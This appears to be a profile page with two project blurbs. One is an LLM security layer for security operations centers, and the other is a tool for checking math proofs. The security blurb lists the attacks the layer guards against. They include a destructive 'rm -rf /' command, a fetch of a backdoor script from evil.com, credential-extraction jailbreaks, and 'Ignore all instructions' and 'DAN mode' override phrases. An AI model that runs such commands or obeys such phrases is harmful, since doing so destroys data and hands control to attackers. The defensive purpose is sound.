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Mohammed Kaif Pasha@mdkaifpasha2k
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AI SOC Security Analyst
The Problem Large Language Models (LLMs) deployed in Security Operations Centers face critical vulnerabilities: 🔴 Command Injection: Malicious commands embedded in logs (rm -rf /, curl evil.com/backdoor.sh) 🔴 Credential Extraction: Jailbreak attempts to leak API keys and system prompts 🔴 Malware Generation: Requests for exploit code disguised as security analysis 🔴 Policy Override: "Ignore all instructions" and "DAN mode" attacks 🔴 SQL Injection: Database manipulation through crafted inputs 🔴 Phishing Generation: Social engineering content creation Our Solution Constitutional AI provides a production-ready defense layer with: ✅ 24 Constitutional Security Rules - Comprehensive threat coverage ✅ Real-Time Detection - <50ms regex-based pattern matching ✅ Side-by-Side Comparison - Vulnerable vs. protected responses ✅ Multi-Dataset Testing - JailbreakBench, LLMail-Inject, SOC Synthetic ✅ PDF Report Generation - Comprehensive audit documentation ✅ Streaming Inference - Cerebras Cloud SDK for real-time analysis ✅ Demo Mode - Realistic metrics without API calls
23 Nov 2025
AI Tool for Verifying and Correcting Math Proofs
ProofGuard AI is an intelligent verification system designed to address a critical challenge in AI-assisted mathematics: ensuring the correctness of AI-generated proofs. As AI tools increasingly generate mathematical proofs, there's a growing need for automated verification to catch logical errors, invalid steps, and unsound reasoning. Our solution combines multiple AI technologies to create a robust verification pipeline. The system accepts mathematical proofs in various formats, analyzes each logical step, validates mathematical operations, checks for consistency, and identifies errors or gaps in reasoning. When issues are detected, it not only flags them but also suggests corrections and alternative approaches. The tool uses multimodal AI capabilities to understand both symbolic mathematics and natural language explanations, making it accessible to students, researchers, and mathematicians. It provides detailed feedback on proof structure, identifies weak logical connections, verifies mathematical notation and syntax, and generates corrected versions with explanations. Key features include real-time verification as proofs are written, step-by-step error highlighting, alternative proof path suggestions, and educational feedback for learning. This addresses real-world needs in academic research, educational settings, automated theorem proving, and AI safety verification where mathematical correctness is critical.
19 Nov 2025
